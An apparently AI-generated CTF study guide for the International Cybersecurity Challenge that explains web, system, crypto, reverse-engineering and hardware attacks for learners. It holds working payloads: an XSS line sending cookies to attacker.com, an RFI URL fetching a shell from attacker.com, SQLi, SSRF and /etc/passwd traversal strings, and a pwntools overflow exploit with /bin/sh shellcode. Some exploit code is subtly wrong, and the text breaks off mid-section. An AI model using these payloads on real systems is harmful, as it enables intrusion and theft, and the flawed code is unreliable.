International Cybersecurity Challenge (Wikipedia Lab Guide)

International Cybersecurity Challenge: A Technical Study Guide
1) Introduction and Scope
The International Cybersecurity Challenge (ICC) is a high-stakes global competition designed to identify and cultivate elite cybersecurity talent under the age of 25. Orchestrated by a multidisciplinary international steering committee, the ICC presents participants with a gauntlet of technically demanding challenges spanning the breadth of cybersecurity disciplines. This study guide is engineered to provide an in-depth, technical understanding of the core domains typically featured in such competitions, serving as a foundational resource for aspiring participants, educators, and security professionals. The scope encompasses fundamental principles and advanced techniques relevant to web exploitation, system exploitation, cryptography, reverse engineering, and hardware security, as commonly encountered in both Jeopardy-style (individual challenges) and Attack-Defense Capture The Flag (CTF) formats.
2) Deep Technical Foundations
2.1) Web Exploitation
Web exploitation targets vulnerabilities within web applications and their supporting infrastructure, aiming to compromise confidentiality, integrity, or availability.
- Common Vulnerability Classes:
- SQL Injection (SQLi): Exploitation of unsanitized user-supplied input that is incorporated into database queries. This allows attackers to manipulate the database's logic, potentially leading to data exfiltration, modification, or denial of service.
- Example (Union-based SQLi):
Consider a login endpoint where theusernameparameter is directly concatenated into a SQL query:SELECT user_id, role FROM users WHERE username = '+input_username+';
An attacker can inject a payload like' UNION SELECT 1, 'admin' --to achieve privilege escalation or bypass authentication. The resulting query becomes:SELECT user_id, role FROM users WHERE username = '' UNION SELECT 1, 'admin' -- ';
TheUNION SELECTclause appends a result set, and--comments out the remainder of the original query. - Protocol Snippet (Hypothetical HTTP POST Request):
This request attempts to log in as an administrator by manipulating the query's result set.POST /login HTTP/1.1 Host: vulnerable-site.com Content-Type: application/x-www-form-urlencoded Content-Length: 45 username=' UNION SELECT 1, 'admin' -- &password=foo
- Example (Union-based SQLi):
- Cross-Site Scripting (XSS): Injection of malicious client-side scripts (typically JavaScript) into web pages viewed by other users.
- Reflected XSS: The injected script is immediately reflected back from the web server in the HTTP response, often within error messages, search results, or URL parameters.
- Payload Example:
<script>fetch('http://attacker.com/?cookie=' + document.cookie)</script>
This payload attempts to exfiltrate the user's session cookie to an attacker-controlled server.
- Payload Example:
- Stored XSS: The malicious script is permanently stored on the target server (e.g., in a database, comment field, or user profile) and executed whenever a user accesses the compromised resource.
- DOM-based XSS: The vulnerability resides within client-side JavaScript code that improperly handles user-controlled data when manipulating the Document Object Model (DOM). The server may not even see the malicious payload.
- Example:
var url = window.location.search.substring(1); document.getElementById('user_input').innerHTML = url;Ifurlcontains<img src=x onerror=alert(1)>, it will execute.
- Example:
- Reflected XSS: The injected script is immediately reflected back from the web server in the HTTP response, often within error messages, search results, or URL parameters.
- Authentication Bypass: Exploiting flaws in session management (e.g., predictable session IDs, session fixation), weak password reset mechanisms, or direct access control bypasses.
- Insecure Direct Object References (IDOR): Accessing resources by manipulating parameters that directly map to internal implementation objects (e.g., file paths, database keys, array indices) without proper authorization checks.
- Example: A URL like
https://example.com/user/view?account_id=12345might be vulnerable. An attacker could tryhttps://example.com/user/view?account_id=12346to access another user's account if the server only checks theaccount_idparameter and not the authenticated user's ownership.
- Example: A URL like
- Server-Side Request Forgery (SSRF): An attacker can induce the server-side application to make arbitrary HTTP requests to an arbitrary domain of the attacker's choosing. This can be used to scan internal networks, access internal services (e.g., metadata services in cloud environments), or interact with localhost services.
- Example Payload:
http://169.254.169.254/latest/meta-data/(to query AWS EC2 instance metadata) orfile:///etc/passwd.
- Example Payload:
- File Inclusion (LFI/RFI): Vulnerabilities allowing the inclusion and execution of local or remote files within the web application's execution context.
- Local File Inclusion (LFI):
https://example.com/show.php?page=../../../../etc/passwd(attempts to read/etc/passwd). Requires directory traversal characters to be effective. - Remote File Inclusion (RFI):
https://example.com/show.php?page=http://attacker.com/shell.txt(attempts to download and executeshell.txtfrom an attacker's server). This typically requiresallow_url_fopenandallow_url_includeto be enabled in PHP configuration.
- Local File Inclusion (LFI):
- SQL Injection (SQLi): Exploitation of unsanitized user-supplied input that is incorporated into database queries. This allows attackers to manipulate the database's logic, potentially leading to data exfiltration, modification, or denial of service.
2.2) System Exploitation
System exploitation targets vulnerabilities in operating systems, applications, and services to gain unauthorized access and control.
- Buffer Overflows: Writing data beyond the allocated buffer boundaries, corrupting adjacent memory regions. This can overwrite critical control data like return addresses or function pointers, enabling arbitrary code execution.
- Stack-based Overflow: Overwriting the return address on the call stack. When a function returns, it pops the return address from the stack and jumps to it. By controlling this address, an attacker can redirect execution to their shellcode.
- Technical Detail: A typical stack frame on x86-64 includes saved registers (e.g., RBP), local variables, and the return address. An overflow in a local buffer can overwrite the saved RBP and then the return address.
- Assembly Snippet (x86-64, Conceptual):
; Stack layout before function call returns: ; ... ; [RBP + 0x10] ; Return Address (points to caller's next instruction) ; [RBP + 0x08] ; Saved RBP ; [RBP] ; Local Variables / Buffer (e.g., char buffer[64]) ; ... ; RSP points to the top of the stack ; Attacker's payload on stack: ; [Shellcode...] ; [Padding...] ; [New Return Address (points to Shellcode)] ; [New Saved RBP] ; [Buffer Data...] ; When function returns: pop rbp ; Restore caller's RBP ret ; Pop return address from stack and jump to it ; If overwritten, jumps to attacker's shellcode
- Heap-based Overflow: Overwriting data structures on the heap. This can corrupt metadata used by the memory allocator (e.g.,
malloc's free list pointers) or overwrite application data, potentially leading to control flow hijacking via function pointers or vtables.
- Stack-based Overflow: Overwriting the return address on the call stack. When a function returns, it pops the return address from the stack and jumps to it. By controlling this address, an attacker can redirect execution to their shellcode.
- Format String Vulnerabilities: Occur when user-controlled input is passed directly as the format string argument to functions like
printf,sprintf, orsyslog. This allows attackers to read from or write to arbitrary memory locations.- Example (Reading memory):
printf("%x %x %x %x")will print four hexadecimal values from the stack. By carefully crafting the format string (e.g., using%sto read strings, or%nto write to an address), attackers can leak sensitive data or overwrite memory. - Protocol Snippet (Hypothetical C
printfcall):A malicious input likechar user_input[256]; // Assume user_input is populated with data from a network socket or file. // If user_input is passed directly to printf: printf(user_input); // Vulnerable: Attacker controls format string.AAAA%x.%x.%x.%x.%s.%s.%ncould reveal stack contents.
- Example (Reading memory):
- Race Conditions: Exploiting the non-deterministic timing between multiple threads or processes accessing shared resources.
- TOCTOU (Time-of-Check to Time-of-Use): A vulnerability where a check on a resource's state (e.g., file permissions) is performed, but the state can change before the resource is actually used.
- Example (Symlink Attack): A program checks if a user has write permission to
/tmp/data.txt. If the check passes, it proceeds to write. An attacker can atomically replace/tmp/data.txtwith a symbolic link to a sensitive file (e.g.,/etc/passwdor a critical configuration file) between theaccess()check and theopen()orwrite()operation.
- Example (Symlink Attack): A program checks if a user has write permission to
- TOCTOU (Time-of-Check to Time-of-Use): A vulnerability where a check on a resource's state (e.g., file permissions) is performed, but the state can change before the resource is actually used.
- Privilege Escalation: Gaining elevated privileges on a compromised system, typically moving from a low-privileged user to
rootorAdministrator.- Exploiting SUID/SGID Binaries: Vulnerabilities in programs with the Set User ID (SUID) or Set Group ID (SGID) bits set. If such a program is vulnerable (e.g., buffer overflow, command injection), it can be exploited to execute code with the privileges of the file owner (often
root). - Kernel Exploits: Exploiting vulnerabilities within the operating system kernel itself. These are often the most powerful privilege escalation vectors.
- Misconfigured Services: Services running with excessive privileges, weak access controls on configuration files, or insecure inter-process communication (IPC) mechanisms.
- Exploiting SUID/SGID Binaries: Vulnerabilities in programs with the Set User ID (SUID) or Set Group ID (SGID) bits set. If such a program is vulnerable (e.g., buffer overflow, command injection), it can be exploited to execute code with the privileges of the file owner (often
2.3) Cryptography
Cryptography is the science of secure communication, involving encryption, decryption, hashing, and digital signatures. CTFs often test the ability to break or correctly implement cryptographic schemes.
- Symmetric-key Cryptography: Uses a single secret key for both encryption and decryption.
- AES (Advanced Encryption Standard): A widely adopted block cipher. Understanding its operational modes is critical:
- ECB (Electronic Codebook): Each plaintext block is encrypted independently using the same key. Identical plaintext blocks result in identical ciphertext blocks, revealing patterns. Highly insecure for most applications.
- CBC (Cipher Block Chaining): Each plaintext block is XORed with the previous ciphertext block before encryption. This introduces diffusion, making identical plaintext blocks produce different ciphertext blocks. Requires an Initialization Vector (IV) for the first block.
- CTR (Counter): Turns a block cipher into a stream cipher. A counter is incremented for each block, and its output is XORed with the plaintext. Parallelizable and allows random access.
- GCM (Galois/Counter Mode): An authenticated encryption mode that provides both confidentiality and integrity. It's highly recommended for modern applications.
- AES (Advanced Encryption Standard): A widely adopted block cipher. Understanding its operational modes is critical:
- Asymmetric-key Cryptography: Uses a pair of keys: a public key for encryption/verification and a private key for decryption/signing.
- RSA (Rivest–Shamir–Adleman): Relies on the computational difficulty of factoring large semiprimes (
n = p * q).- Vulnerabilities:
- Small Public Exponent (
e): Ifeis small (e.g., 3) and messages are small, the same message encrypted with the same key but different moduli (n) can be vulnerable to Hastad's Broadcast Attack. Ifeis small and messages are encrypted without padding,m^emight be less thann, allowing direct calculation ofm. - Factoring
n: If the prime factorspandqofncan be found (e.g., via Pollard's Rho, Quadratic Sieve, or ifpandqare close), the private keydcan be derived. - Wiener's Attack: If the private exponent
dis too small relative ton(specifically,d < (1/3) * n^(1/4)), it can be efficiently recovered using continued fractions.
- Small Public Exponent (
- Vulnerabilities:
- ECC (Elliptic Curve Cryptography): Provides equivalent security to RSA with significantly smaller key sizes. Based on the discrete logarithm problem on elliptic curves.
- Vulnerabilities: Weak random number generation for private keys, side-channel attacks (power analysis, timing attacks), and implementation errors in curve arithmetic.
- RSA (Rivest–Shamir–Adleman): Relies on the computational difficulty of factoring large semiprimes (
- Hashing Algorithms: One-way functions producing a fixed-size digest (hash) from arbitrary input. Used for integrity verification and password storage.
- MD5, SHA-1: Considered cryptographically broken due to practical collision attacks. Finding two distinct inputs that produce the same hash is feasible.
- SHA-256, SHA-3: Currently considered secure for cryptographic purposes.
- Collisions: The existence of two distinct inputs,
m1andm2, such thathash(m1) = hash(m2).
- Common CTF Cryptography Tasks:
- Padding Oracle Attacks: Exploiting how padding errors are reported in CBC mode to decrypt ciphertext without the key.
- Known-Plaintext Attacks: Having access to plaintext-ciphertext pairs to deduce the key or algorithm.
- Frequency Analysis: Analyzing character/symbol frequencies in ciphertext to break classical ciphers (e.g., Caesar, Vigenère, substitution ciphers).
- Implementing Custom Ciphers: Understanding basic cryptographic primitives (XOR, modular arithmetic, substitutions, permutations) and how they are combined.
2.4) Reverse Engineering
Reverse engineering (RE) is the process of analyzing compiled software to understand its internal workings, identify vulnerabilities, extract secrets, or recreate its source code.
- Tools:
- Disassemblers: Convert machine code into human-readable assembly language. Examples: IDA Pro (industry standard), Ghidra (NSA-developed, free), radare2 (command-line framework).
- Debuggers: Allow step-by-step execution, setting breakpoints, inspecting memory and registers, and modifying program state. Examples: GDB (GNU Debugger), WinDbg (Windows), x64dbg (Windows, open-source).
- Decompilers: Attempt to reconstruct high-level source code (e.g., C) from assembly. Examples: Hex-Rays Decompiler (IDA Pro plugin), Ghidra's built-in decompiler.
- Key Concepts:
- Instruction Set Architectures (ISAs): Understanding the native instruction set of the target CPU (e.g., x86, x86-64, ARM, MIPS) is fundamental.
- Calling Conventions: Define how functions pass arguments, receive return values, and manage the stack. Critical for understanding function interactions.
- x86-64 System V ABI (Linux/macOS): Arguments are passed in registers: RDI, RSI, RDX, RCX, R8, R9. Subsequent arguments are pushed onto the stack. The return value is placed in RAX.
- Windows x64 ABI: Arguments passed in RCX, RDX, R8, R9. Stack used for further arguments. Return value in RAX.
- Memory Layout: Understanding the typical organization of a process's memory space: Text Segment (code), Data Segment (initialized global/static variables), BSS Segment (uninitialized global/static variables), Heap (dynamic allocation), Stack (function calls, local variables).
- Obfuscation Techniques: Methods to hinder reverse engineering, including control flow flattening, anti-debugging checks, string encryption, and code virtualization.
- CTF Reverse Engineering Tasks:
- Flag Extraction: Locating hidden strings, decoding encrypted flags, or reverse-engineering algorithms that compute the flag.
- Software Cracking: Bypassing license checks, serial number validation, or trial limitations.
- Malware Analysis: Understanding the behavior, communication protocols, and persistence mechanisms of malicious software.
- Protocol Analysis: Reverse-engineering proprietary network or file formats.
2.5) Hardware Security
Hardware security involves analyzing and exploiting vulnerabilities in physical devices, embedded systems, and their firmware.
- Microcontrollers and Embedded Systems: Common targets, often running custom firmware on resource-constrained devices (e.g., IoT devices, smart cards, industrial control systems).
- Interfaces for Analysis/Exploitation:
- JTAG (Joint Test Action Group): A standard interface (IEEE 1149.1) for debugging and testing integrated circuits. Can provide low-level access to the CPU, memory, and peripherals.
- JTAG Pins: TDI (Test Data In), TDO (Test Data Out), TCK (Test Clock), TMS (Test Mode Select), TRST (Test Reset - optional).
- Capabilities: Read/write memory, halt/resume CPU, debug execution, read/write CPU registers.
- UART (Universal Asynchronous Receiver/Transmitter): A serial communication protocol often used for console access, debugging output, or inter-device communication.
- UART Pins: TX (Transmit), RX (Receive), GND. Requires baud rate, data bits, parity, and stop bits configuration.
- SPI (Serial Peripheral Interface): A synchronous serial communication protocol, often used for communication between microcontrollers and peripherals like flash memory or sensors.
- I2C (Inter-Integrated Circuit): A two-wire serial communication protocol, commonly used for communication between microcontrollers and peripheral ICs.
- JTAG (Joint Test Action Group): A standard interface (IEEE 1149.1) for debugging and testing integrated circuits. Can provide low-level access to the CPU, memory, and peripherals.
- Firmware Analysis:
- Extraction: Obtaining firmware from a device. Methods include:
- Reading directly from flash memory chips using a hardware programmer (e.g., Bus Pirate, TL866II Plus).
- Leveraging debug interfaces like JTAG or UART if accessible.
- Exploiting vulnerabilities in the device's update mechanism.
- Disassembly/Decompilation: Analyzing the extracted firmware binary using reverse engineering tools (IDA Pro, Ghidra) to understand its logic, identify sensitive data, and discover vulnerabilities.
- Exploiting Firmware Vulnerabilities: Identifying and exploiting flaws such as buffer overflows in command handlers, insecurely stored credentials, or hardcoded secrets.
- Extraction: Obtaining firmware from a device. Methods include:
- Side-Channel Attacks: Exploiting physical emanations or timing characteristics of a device's operation to infer secret information (e.g., cryptographic keys).
- Power Analysis: Measuring the device's power consumption during cryptographic operations. Variations in power draw can correlate with the data being processed, allowing key recovery.
- Timing Attacks: Measuring the time taken for operations. Differences in execution time can reveal information about secret data.
- Electromagnetic (EM) Analysis: Analyzing electromagnetic radiation emitted by the device.
3) Internal Mechanics / Architecture Details
3.1) Operating System Internals (Linux Focus)
- Process Management:
fork(): Creates a child process that is a near-identical copy of the parent process.execve(): Replaces the current process image with a new program. This is how executables are run.- System Calls: The interface between user-space applications and the kernel. Applications request kernel services (e.g., file I/O, network operations, memory allocation) via system calls. Examples:
open(),read(),write(),socket(),mmap(),fork(),execve(). - Memory Management: Virtual Memory (VM) provides each process with its own isolated address space. Paging translates virtual addresses to physical addresses using page tables.
mmap()is a versatile system call used for memory mapping files, anonymous memory allocation, and inter-process communication.
- File System:
- Inodes: Data structures that store metadata about files and directories (permissions, ownership, timestamps, pointers to data blocks).
- Permissions: Represented by octal values (e.g.,
rwx= 4+2+1 = 7).- Owner:
u(e.g.,7) - Group:
g(e.g.,5) - Others:
o(e.g.,3) - Total:
753
- Owner:
- Special Permissions:
- SUID (Set User ID):
4000- Executes with the owner's privileges. - SGID (Set Group ID):
2000- Executes with the group's privileges, or creates new files/directories with the group ownership of the parent directory. - Sticky Bit:
1000- On directories, prevents users from deleting files they don't own.
- SUID (Set User ID):
- Networking Stack:
- TCP/IP Model: A layered model describing network communication.
- Application Layer: HTTP, FTP, DNS, etc.
- Transport Layer: TCP (connection-oriented, reliable), UDP (connectionless, unreliable).
- Internet Layer: IP (Internet Protocol) for addressing and routing.
- Link Layer: Ethernet, Wi-Fi for local network transmission.
- Sockets: An API for network communication, providing an endpoint for sending and receiving data.
- Packet Structure:
- Ethernet Header: MAC addresses (Source, Destination), EtherType.
- IP Header: Version, IHL, DSCP, ECN, Total Length, Identification, Flags, Fragment Offset, TTL, Protocol, Header Checksum, Source IP Address, Destination IP Address.
- Protocol Field:
0x06for TCP,0x11for UDP.
- Protocol Field:
- TCP Header: Source Port, Destination Port, Sequence Number, Acknowledgment Number, Data Offset, Reserved, Flags (URG, ACK, PSH, RST, SYN, FIN), Window Size, Checksum, Urgent Pointer.
- SYN Flag: Used to initiate a connection.
- ACK Flag: Acknowledges received data.
- FIN Flag: Used to close a connection.
- RST Flag: Resets a connection.
- UDP Header: Source Port, Destination Port, Length, Checksum.
- TCP/IP Model: A layered model describing network communication.
3.2) CPU Architecture and Memory
- Registers: High-speed storage locations within the CPU used to hold data, instructions, and memory addresses.
- x86-64 General Purpose Registers: RAX (Accumulator), RBX (Base), RCX (Counter), RDX (Data), RSI (Source Index), RDI (Destination Index), RBP (Base Pointer), RSP (Stack Pointer). R8-R15 are additional registers.
- Instruction Pointer (RIP): Holds the memory address of the next instruction to be fetched and executed.
- Stack Pointer (RSP): Points to the top of the current stack frame. Decrements as data is pushed onto the stack.
- Base Pointer (RBP): Typically points to the base of the current stack frame, used for accessing local variables and function arguments.
- Memory Addressing:
- Stack: A LIFO data structure that grows downwards in memory. Used for function call frames (local variables, return addresses, saved registers).
+-----------------+ <-- Higher Memory Addresses | Function Args | +-----------------+ | Return Address | <-- RIP value pushed by CALL +-----------------+ | Saved RBP | <-- RBP pushed by PUSH RBP +-----------------+ | Local Variable 1| +-----------------+ | Local Variable 2| +-----------------+ <-- RSP points here (top of stack) - Heap: Dynamically allocated memory managed by the memory allocator (
malloc,freein C). Grows upwards in memory. - Address Space Layout Randomization (ASLR): A security mechanism that randomizes the base addresses of the stack, heap, libraries, and executables in memory. This makes it significantly harder for attackers to predict target addresses for exploits.
- Data Execution Prevention (DEP) / NX bit (No-Execute): A hardware feature that marks memory regions as either executable or non-executable. Code cannot be executed from non-executable regions (like the stack and heap), mitigating many classic buffer overflow exploits that inject shellcode directly.
- Stack: A LIFO data structure that grows downwards in memory. Used for function call frames (local variables, return addresses, saved registers).
3.3) Web Server Architecture
- Request/Response Cycle: The fundamental interaction between a client (browser) and a web server.
- Client sends an HTTP request (e.g.,
GET /index.html HTTP/1.1). - Server receives the request, parses it, and determines the requested resource.
- Server processes the request (e.g., fetches a file, runs a script, queries a database).
- Server sends an HTTP response (e.g.,
HTTP/1.1 200 OK,Content-Type: text/html,Content-Length: ..., followed by the response body).
- Client sends an HTTP request (e.g.,
- Common Web Servers: Apache HTTP Server, Nginx. Their configuration files (
httpd.conf,nginx.conf) dictate how requests are handled, including virtual hosts, module loading, and proxying. - Request Handling Mechanisms:
- Static File Serving: Directly returning files from the filesystem.
- CGI (Common Gateway Interface): A standard for interfacing web servers with external applications. The web server executes the application for each request.
- FastCGI: An optimized version of CGI, maintaining persistent connections with applications for improved performance.
- WSGI (Web Server Gateway Interface - Python): A standard interface for Python web applications.
- Reverse Proxy: Forwarding client requests to backend application servers.
- Cookies and Sessions: Mechanisms to maintain state across stateless HTTP connections.
- Cookies: Small pieces of data sent by the server and stored by the client's browser. They are sent back to the server with subsequent requests.
Set-CookieHeader:Set-Cookie: sessionid=abcdef123456; Path=/; HttpOnly; Secure; SameSite=Lax; Expires=Wed, 21 Oct 2025 07:28:00 GMTCookieHeader:Cookie: sessionid=abcdef123456; user_pref=darkmode
- Sessions: Server-side storage that maps a unique session ID (often stored in a cookie) to user-specific data. This allows the server to remember user state across multiple requests.
- Cookies: Small pieces of data sent by the server and stored by the client's browser. They are sent back to the server with subsequent requests.
4) Practical Technical Examples
4.1) Web Exploitation: SQL Injection - Data Exfiltration
Scenario: A web application displays product details based on a product_id from the URL.
- Vulnerable Code Snippet (Hypothetical Python Flask with SQLAlchemy):
from flask import Flask, request, jsonify from sqlalchemy import create_engine, text app = Flask(__name__) engine = create_engine("sqlite:///database.db") # Example SQLite DB @app.route('/product') def get_product(): product_id = request.args.get('id') # Vulnerable: direct string formatting into SQL query query = text(f"SELECT name, price, description FROM products WHERE id = {product_id}") with engine.connect() as connection: result = connection.execute(query).fetchone() if result: return jsonify({"name": result[0], "price": result[1], "description": result[2]}) else: return jsonify({"error": "Product not found"}), 404 if __name__ == '__main__': app.run(debug=True) - Attack Goal: Retrieve all product names and prices from the
productstable. - Payload Construction:
We aim to modify the query toSELECT name, price, description FROM products WHERE id = 1 OR 1=1 --
TheOR 1=1makes theWHEREclause always true, and--comments out the rest. - HTTP Request (using
curl):(Note:curl "http://127.0.0.1:5000/product?id=1%20OR%201=1%20--%20"%20represents a space, URL-encoded.) - Expected Output: The server will likely return JSON data for all products in the table, as the
WHEREclause evaluates to true for every row.{ "name": "Gadget Pro", "price": 99.99, "description": "The ultimate gadget." } // ... potentially many more product entries ...
4.2) System Exploitation: Stack Buffer Overflow (with ASLR/DEP)
Scenario: A Linux executable contains a vulnerable function that copies user input into a fixed-size buffer. ASLR and DEP are enabled.
- Vulnerable Code (C):
#include <stdio.h> #include <string.h> #include <unistd.h> // For getpid() void greet(char *name) { char buffer[64]; // Vulnerable function: no size check strcpy(buffer, name); printf("Hello, %s!\n", buffer); printf("PID: %d\n", getpid()); // Useful for debugging } int main(int argc, char **argv) { if (argc > 1) { greet(argv[1]); } else { printf("Usage: %s <name>\n", argv[0]); } return 0; } - Compilation (disabling some protections for easier demonstration, but real CTFs won't):
# For real CTFs, compile with: # gcc -no-pie -fno-stack-protector -z execstack vulnerable.c -o vulnerable # But for initial understanding, we might compile without these: gcc vulnerable.c -o vulnerable - Attack Goal: Execute shellcode. Since ASLR is enabled, we need to find the address of our shellcode on the stack.
- Exploitation Strategy (Conceptual):
Determine Offset: Use GDB and a pattern generator (e.g.,
pwntools) to find the exact offset from the start of the buffer to the return address.from pwn import * # Start the vulnerable program p = process('./vulnerable') # Send a long pattern to find the offset payload = cyclic(100) p.sendline(payload) p.wait() core = p.corefile rip_address = core.rsp - core.rip # Calculate offset from RSP to RIP offset = cyclic_find(core.rsp) # Find offset of the value that overwrote RIP print(f"Offset to RIP: {offset}")Craft Shellcode: Obtain or write position-independent shellcode (e.g., for
/bin/sh).# Example x86-64 shellcode for /bin/sh (approx. 30 bytes) shellcode = b"\x31\xc0\x48\x31\xd2\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\xb0\x3b\x0f\x05"Determine Shellcode Address: Since ASLR is enabled, the stack address will change. A common technique is "NOP sledding": prepend the shellcode with many
NOPinstructions (\x90). The return address can then point anywhere within this NOP sled, increasing the chances of hitting the shellcode. We can try to guess a stack address or use an information leak. For simplicity in this conceptual example, let's assume we know a potential stack address (e.g., from a previous run or leak).Construct Final Payload:
NOP sled(\x90* N)ShellcodePadding(to reach the offset)Return Address(pointing into the NOP sled/shellcode)
# Assuming offset = 72 # Assuming a potential stack address for the NOP sled/shellcode # This address needs to be found dynamically or via an info leak. # For demonstration, let's use a placeholder like 0x7fffffffe000 # In a real scenario, you'd find this address. potential_shellcode_address = p64(0x7fffffffe000) # Example address payload = b"\x90" * 100 # NOP sled payload += shellcode payload += b"A" * (offset - len(payload)) # Padding payload += potential_shellcode_address # Overwrite return address # Send the payload p = process('./vulnerable') p.sendline(payload) p.interactive() # Interact with the spawned shell
- Memory Layout (Conceptual, with ASLR):
+-----------------+ <-- Higher Addresses | Heap | +-----------------+ | ... | +-----------------+ | Stack Frame | | - Args | | - Return Addr | <-- Overwritten by attacker's address | - Saved RBP | | - Buffer | <-- Overflowed | - NOP Sled | | - Shellcode | <-- Target execution +-----------------+ <-- Lower Addresses (RSP points here)
4.3) Cryptography: RSA - Recovering Private Key with Wiener's Attack
Scenario: An RSA public key (n, e) is provided. It is suspected that the private exponent d is small.
- RSA Public Key:
n,e - RSA Private Key:
d - Mathematical Relationship:
e * d ≡ 1 (mod φ(n)), whereφ(n) = (p-1)(q-1). - Wiener's Attack Condition: If
d < (1/3) * n^(1/4), the attack is effective. - Attack Principle: The attack exploits the fact that if
dis small, thene/nis a good rational approximation ofd/φ(n). The convergents of the continued fraction expansion ofe/nare used to find candidate values ford/φ(n). - Algorithm Outline:
- Compute the continued fraction expansion of
e/n. - Generate the convergents
p_k / q_kof this expansion. - For each convergent `p_k /
- Compute the continued fraction expansion of
Source
- Wikipedia page: https://en.wikipedia.org/wiki/International_Cybersecurity_Challenge
- Wikipedia API endpoint: https://en.wikipedia.org/w/api.php
- AI enriched at: 2026-03-30T20:23:12.551Z
